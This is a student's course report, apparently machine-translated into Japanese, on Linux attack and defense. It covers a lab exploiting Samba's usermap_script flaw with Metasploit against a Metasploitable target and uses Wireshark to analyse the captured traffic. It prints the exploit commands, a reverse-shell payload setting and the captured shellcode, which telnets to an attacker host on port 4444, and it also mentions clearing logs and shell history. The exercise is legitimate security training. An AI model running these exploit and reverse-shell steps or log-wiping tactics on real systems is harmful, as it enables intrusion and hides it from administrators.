20199106 2019-2020-2「ネットワーク攻撃と防御の実践」第8週の割り当て
仕事の説明
この課題はどのコースに属していますか | ネットワークの攻撃的および防御的慣行 |
---|---|
この課題の要件は何ですか | 第8の宿題:攻撃的で防御的なLinuxオペレーティングシステム |
コースでの私の目標 | ネットワークの攻撃的および防御的テクノロジーを比較的包括的に理解し、基本的な攻撃的および防御的操作を習得できる。 |
この割り当ての特定の側面が私の目標を達成するのに役立った | Linuxシステムのネットワーク攻撃と防御の知識とシステムを学びました。 |
宿題
練習内容
Linuxオペレーティングシステムの基本フレームワーク
-
Linuxオペレーティングシステムの利点:オープンソースコードと無料のクロスプラットフォームハードウェアサポート、豊富なソフトウェアサポート、マルチユーザーマルチタスク、信頼性の高いセキュリティ(ファイアウォール、侵入検知、セキュリティ認証ツールなど) )、良好な安定性、完璧なネットワーク機能。
-
Linuxシステム構造:
- Linuxプロセスおよびスレッド管理メカニズム:Linuxカーネルはプリエンプティブマルチユーザーマルチプロセスモードを採用し、複数のプロセスが同時にアクティブになり、カーネルのプロセス管理モジュールはハードウェアリソースの使用スケジュールを担当します。
- Linuxメモリ管理メカニズム:Linuxメモリ管理モジュールにより、複数のプロセスが物理メモリ領域を安全に共有できます。各プロセスには、独立した4 GBの仮想メモリ空間があります。カーネルコードとデータセグメントは、3 GBを超える空間にマップされます。ユーザーモードコードによって要求された仮想メモリスペースは0〜3GBです。
- Linuxファイルシステム管理メカニズム:Linuxカーネルは仮想ファイル管理VFSメカニズムを使用します。これにより、数十の異なるタイプの論理ファイルシステムをサポートできます。
- Linuxデバイス制御メカニズム:Linuxカーネルのハードウェアコントローラーを処理または管理するソフトウェアは、デバイスドライバーと呼ばれます。Linuxはデバイスの処理を抽象化します。すべてのハードウェアデバイスは通常のファイルのように扱われます。3種類のハードウェアデバイスがサポートされています:キャラクターデバイス、ブロックデバイス、ネットワークデバイス。キャラクターデバイスはバッファなしで直接読み書き、ブロックデバイスはブロック単位で読み書き、ネットワークデバイスはネットワークインターフェースを介してアクセスします。
- Linuxネットワークメカニズム:Linuxカーネルのネットワークモジュールは、複数のネットワーク標準へのアクセスとさまざまなネットワークハードウェアのサポートを提供します。ネットワークインターフェイスは、ネットワークプロトコルスタックとネットワークドライバーに分けることができます。ネットワークプロトコルスタックは、さまざまな可能なネットワーク伝送プロトコルの実装を担当し、ネットワークドライバーは、ハードウェアデバイスとの通信を担当します。
- Linuxシステムコールメカニズム:上記のカーネルモジュールはCPUのコア状態で実行され、アプリケーションプログラムはユーザー状態で実行されます。Linuxシステムコールインターフェイスにより、アプリケーションはハードウェアデバイスやその他のリソースにアクセスでき、システム全体の安定性とセキュリティを確保できます。
Linuxオペレーティングシステムのセキュリティメカニズム
-
ID認証メカニズム
- Linuxは、複数のユーザーがLinuxオペレーティングシステムを安全に使用できるように、複数の役割タイプを持つユーザーとユーザーグループを作成することにより、ユーザーID管理を実装します。
- Linuxユーザー分類:root rootユーザー、通常のユーザー、システムユーザー、ユーザー情報は/ etc / passwdに保存されます。
- Linuxユーザーグループ:同じ特性を持つユーザーアカウントのコレクションです。ユーザーグループ情報はシステムの/ etc / groupファイルに保存されます。
- Linuxは、ローカルログインユーザー認証メカニズムとリモートログインユーザー認証メカニズムをサポートしています。
- Linuxの統合ID認証ミドルウェア-PAM(プラグイン可能なID認証モジュール)は、認証管理、アカウント管理、パスワード管理、セッション管理の4つの管理インターフェースをサポートしています。
-
承認とアクセス制御メカニズム
- すべてのファイルとデバイスリソースのアクセス制御は、VFS仮想ファイルシステムを介して実装されます。
- Linuxの仮想ファイルシステムセキュリティモデルでは、システム認証とアクセス制御は、主にファイル所有者、ファイルアクセス許可、およびいくつかの特別な許可ビットを通じて実行されます。
- 不備:ユーザーは、所有者、所有者のグループ、およびアクセス許可を割り当てる他のユーザーの3つのカテゴリにのみ分類でき、よりきめ細かなアクセス許可制御を実現できません。
-
セキュリティ監査メカニズム
- 主に3つのメインログサブシステムを介して実現されます。
- 接続時間ログ:複数のプログラムによって実行され、システム管理者は、いつ誰がシステムにログインしているかを追跡できます。
- プロセス統計ログ:プロセスが終了したら、各プロセスのプロセス統計ファイルにレコードを書き込みます。
- エラーログ:一般的なログサービスによって実行されます。
- 主に3つのメインログサブシステムを介して実現されます。
Linuxシステムのリモート攻撃および防御テクノロジー
-
Linuxシステムに対する攻撃プロセス:
- まず、ポイントを踏んだり、ポイントをスキャンしてチェックしたりして、ターゲットのLinuxシステムに関する情報を収集するなど、技術的な手段を使用します。
- その後、攻撃者はリモートネットワークからネットワーク監視サービスのセキュリティループホールまたは構成の脆弱性を発掘し、ローカルシェルアクセス権を取得します。
- シェルへのアクセスが取得されると、攻撃者はターゲットのLinuxシステムに足場を築き、ローカル攻撃に移動します。
-
Linuxリモートパスワード推測攻撃
- 基本的な攻撃形式:サービスを介してユーザーアカウント名を盗聴するか、一部のアカウント(ルートなど)のデフォルトの内部キーを使用してパスワード推測を実装します。SSHなどのリモートコントロールネットワークサービスに加えて、独自のアカウントシステムとID認証メカニズムを持つHTTP / HTTPSやFTPなどのネットワークサービスを推測することもできます。
- 自動リモートパスワード推測ツール:Brutus、THC Hydra、Cain、Abel
- 最善の防御策:推測しにくい強力なパスワードを使用する
- 実用的な対策:非標準ポートでのリモートパスワード推測攻撃に対して脆弱なサービスを実行します。いくつかのパスワード推測攻撃検出および防御ソフトウェアを使用します。LinuxファイアウォールIPTablesを使用して、SSHなどのリモートパスワード推測攻撃に対して脆弱なネットワークサービスのアクセスソースIPアドレス範囲を制限します。 。
-
Linuxネットワークサービスのリモート侵入攻撃
- システムのリモート侵入に対する最も重要な攻撃チャネルは、ネットワークサービスセキュリティの脆弱性の侵入と悪用です。
- LAMP Webサイト構築ソリューションのネットワークサービス:Linuxオペレーティングシステムはプラットフォームを実行するWebサイトサーバーとして使用され、ApacheはHTTP / HTTPSに基づくWebサービスを提供し、MySQLデータベース管理システムはWebアプリケーションのバックグラウンドデータストレージとして使用され、PHPで開発されていますそして、Webアプリケーションを実装します。これは、WebサーバーでのLAMP組み合わせソリューションの優位な位置にあるため、組み合わせのサービス拡張モジュールがLinuxシステムの主要なリモート攻撃侵入ターゲットになることにもなります。
- FTP、Samba、その他のファイル共有サービス:FTPはファイル交換と共有送信に使用され、通常ポート20と21を監視し、Sambaはtcp445ポートで待機します。
- 電子メールの送受信サービス(sendmail service):Linuxを含むUNIXライクなシステムで最も人気のある電子メールの送受信サービスも、よく知られていて安全でないよく知られたネットワークサービスの1つです。
- OpenSSH(TCPポート22)、Open SSL(TCPポート443)、NFS(ポートtcp / udp2049)、SNMP(ポートtcp161 / 162)、SUNRPC(ポートtcp111)、BIND(ポートtcp / udp53)などの他のネットワークサービス、 X-Windows(tcp6000ポート)
- セキュリティ対策:不要なネットワークサービスを無効にし、より安全なネットワークプロトコルとサービスソフトウェアを選択し、適時にネットワークサービスバージョンを更新し、xinetdを使用し、Linuxネットワークサービスのネットワークアクセス制御を追加し、侵入検知と緊急対応計画プロセスを確立します。
-
Linuxクライアントプログラムとユーザーを攻撃する
- Linuxプラットフォームでクライアントプログラムを攻撃する:インターネットユーザーに最もよく使用されるクライアントプログラムは、Webブラウザーと電子メールクライアント、最も人気のあるWebブラウザー:Firefox "Firefox"ブラウザー、最も人気のある電子メールクライアントソフトウェアです。サンダーバード「サンダーバード」。
- Linuxユーザーへの攻撃:サーバーの破壊が困難な場合、ソーシャルエンジニアリングの手法を使用して、電話、電子メール、その他の方法でサーバー管理者からさまざまな情報を入手したり、特定の悪意のあるプログラムを実行させたりすることができます。
- 予防策:ソフトウェアの定期的な更新(apt-get)、ソーシャルエンジニアリングテクノロジーの理解、安全意識の向上
-
Linuxルーターとリスナーを攻撃する
- Linuxをルーターとして使用する場合、または無差別モードをオンにした場合、ルーティング機能とパケット転送機能を実装するプログラムに抜け穴があると、パケットを構築することによって攻撃される可能性があります。
- ip_forward = 1を構成してルーターモードで実行し、netサブシステムのroute.cはルーターのアドレス指定とデータパケット転送機能を実装します。
- 攻撃リスナーと侵入検知器:Libpcapパケットキャプチャライブラリ、tcpdumpコマンドラインプログラム、Wiresahrkネットワーク監視およびプロトコル分析ソフトウェア、Snort侵入検知システム。libpcapを除いて、多かれ少なかれ欠陥があります。
- 予防策:ネットワーク管理者は、セキュリティの対立とゲームの感覚を確立し、攻撃者の侵入と侵入の方法を習得する必要があります
Linuxシステムのローカルセキュリティ攻撃および防御技術
-
Linuxローカル権限昇格
- rootユーザーのパスワードを解読してから、suまたはsudoコマンドを実行してアップグレードします。
- suまたはsudoプログラムのセキュリティ脆弱性を発見して悪用する
- ユーザーモードに対する攻撃SUID特権の昇格の脆弱性:SUIDプログラムに対するローカルバッファーオーバーフロー攻撃、SUIDプログラムに対するシンボリックリンク攻撃、SUIDプログラムに対する競合状態攻撃、SUIDプログラムの共有関数ライブラリに対する攻撃
- Linuxカーネルコードの権限昇格を攻撃する
- システムからグローバルな書き込み可能な機密ファイルとディレクトリの場所を検索して使用する
- 予防策:特権コードとカーネルをタイムリーにアップグレードして、ローカルの特権セキュリティの脆弱性を修復し、日常の操作にrootユーザーを使用しないようにします。
-
Linuxシステムで消える
- 主な監査ログメカニズムは/ var / logディレクトリにあり、イベント監査機能は主にシステムコアプロセス、syslogd、およびさまざまなネットワークサービスによって提供されます。
- 現在のアクティビティのログを変更し、多くの場合/etc/syslog.cnf構成ファイルの内容を表示します。システムは認証と承認を/var/log/auth.logに記録し、一部のシステムアラーム、情報、および認証ログは/ var / log /にありますメッセージファイル
- シェルプログラム(.bash_historyファイル)に入力されたコマンドの履歴をクリーンアップする
- 注意事項:変更が困難なメディアメディアにログ情報を書き込み、重要なログを厳重に保護された別の安全なログサーバーに送信します。
-
Linuxシステムリモートコントロールバックドアプログラム
- Linuxシステムに埋め込まれたリモートコントロールバックドアプログラムのタイプ:トロイの木馬化されたシステムプログラム、コマンドラインバックドアツール、およびグラフィカルバックドアツール。
- グラフィカルリモートコントロールソフトウェアVNC
- ルートキットテクノロジーを使用してバックドアプログラムを隠す
実験プロセス
実践演習:Metasploitを使用したLinuxリモート侵入攻撃
タスク:ソフトウェアのテストMetasploitの浸透を使用して、Linuxのドローンの攻撃Samba
サービスのusermap_script
セキュリティの脆弱性は、ホストLinuxターゲットドローンへのアクセスを取得します。実際の手順は次のとおりです。
1. Metasploitソフトウェアを起動します。個人の好みに応じて、msfconsole、msfgui、msfwebのいずれかを使用できます。
2.エクスプロイトを使用します。エクスプロイト/マルチ/ samba / usermap_scriptを使用して、攻撃モジュールに侵入します。
3. PAYLOADをリモートシェルとして攻撃することを選択します(順方向接続と逆方向接続の両方が可能です)。
4.侵入攻撃パラメータ(RHOST、LHOST、TARGETなど)を設定します。
5.侵入攻撃を実行します。
6.リモートシェルが正しく取得されているか確認し、取得した権限を確認してください。
(Sambaは、LinuxおよびUNIXシステムでsmbプロトコルを実装する無料ソフトウェアであり、クライアントとサーバーで構成されます。SMBは、ローカルエリアネットワークでファイルとプリンターを共有するためのプロトコルです。サーバーがあり、クライアントはこのプロトコルを使用してサーバー上で実行できます共有ファイルシステム、プリンター、その他のリソース設定を通じて、世界中のコンピューターとリソースを共有することもできます。
usermap_scriptは、Sambaプロトコルの脆弱性であるユーザー名マップスクリプトと呼ばれます。デフォルト以外のユーザー名マッピングスクリプト構成オプションが使用されると生成されます。シェルメタキャラクターを含むユーザー名を指定することにより、攻撃者は任意のコマンドを実行できます。)
実験環境
実験環境 | IPアドレス |
---|---|
ターゲットマシン:Linux Metasploitable | 192.168.200.125 |
攻撃機:カリ | 192.168.200.2 |
実験プロセスは第7週と同様です。
1.コマンドを使用しmsfconsole
て侵入ソフトウェアを起動します
2. search samba
Sambaサービスを攻撃するモジュールを見つけるコマンド
3. use exploit/multi/samba/usermap_script
侵入攻撃モジュールを使用するコマンド
4、でshow payloads
ビューロードモジュールを攻撃します
5.このコマンドset PAYLOAD cmd/unix/reverse
は、攻撃ペイロードを設定します。このペイロードは、双方向接続をサポートすることを目的としています。show options
構成する必要があるパラメーターを表示するために使用します
6.攻撃マシンのアドレスLHOST set LHOST 192.168.200.2
とターゲットマシンのアドレスを設定しRHOST set RHOST 192.168.200.125
、コマンドshow options
を使用して再度表示します。
7. exploit
攻撃するコマンドshell
、シェルを開くコマンド
8.コマンドをwhomai
使用して現在の権限アカウントを表示し、現在の権限アカウントがroot
ターゲットマシンのオペレーティングシステムとルート制御権限を正常に取得していることを確認します。コマンドを使用しifconfig
て、ターゲットマシンのIPアドレスが正しいことを確認します。
演習課題:攻撃的および防御的対決演習
-
攻撃者:Metasploitを使用し、Metasploitableターゲットマシンで見つかった脆弱性を選択して、侵入攻撃を実行し、リモートコントロールを取得し、さらにルート権限を取得しようとします。
-
Defender:tcpdump / wireshark / snortを使用してネットワーク攻撃パケットファイルを監視および取得し、wireshark / snortと組み合わせて攻撃プロセスを分析し、攻撃者のIP、ターゲットIPおよびポート、攻撃開始時間、攻撃の脆弱性を悪用し、Shellcodeを使用して成功する次に、コマンドラインに情報を入力します。
または上記の脆弱性を選択すると、攻撃プロセスは上記と同じです。
攻撃の前にwiresharkを開き、wiresharkによってキャプチャされたパケットを表示します
攻撃者のIPアドレスは192.168.200.2、ポート42395、ターゲットIPは192.168.200.125、ポート139であることがわかります。
攻撃は139ポートの脆弱性を使用していることがわかります(ポート139はTCPサービスに属し、UnixのSambaサービスに使用されます。ポート139を開くと共有サービスが提供されますが、これは主にWindowsファイルとプリンターの共有を提供するために使用されますが、攻撃者によってよく使用されます。攻撃、ユーザー名とパスワードを取得しようとすることができます)、Sambaサービスの脆弱性を利用した攻撃であることがわかります。
攻撃開始時間:2020.4.22 04:58:23;
SMBパケットのTCPフローをトレースすると、使用されているシェルコードが次のようになっていることがわかります。
コードの説明:
nohup
はいno hang up
、ハングアップせずにコマンドを実行することを意味します。このコマンドは、アカウントからログアウトするか、ターミナルを閉じた後も、対応するプロセスを実行し続けることができます。これsh
は、Linuxでシェルを実行するコマンドであり、シェルのインタープリターです。データが制御および通信ポート4444を介して渡されることsleep
をtelnet 192.168.200.5 4444
示すために、現在のアクションを一定時間遅らせるために使用されます。攻撃マシン; /dev/null 2>&1
すべての標準出力とエラー出力を/ dev / nullにリダイレクトし、生成されるすべての情報を破棄することを意味します;最後の1つ&
は、コマンドをバックグラウンドで実行させることです。
攻撃の成功を判断するためにTCPフローをトレースした後、攻撃者がターゲットマシンで実行するコマンドはwhoami
次のとおりです。ifconfig
学習と解決策で発生した問題
学習の印象と経験
この実験の操作プロセスは比較的スムーズですが、分析プロセスはまだあまり熟練しておらず、さらに学習して実践する必要があります。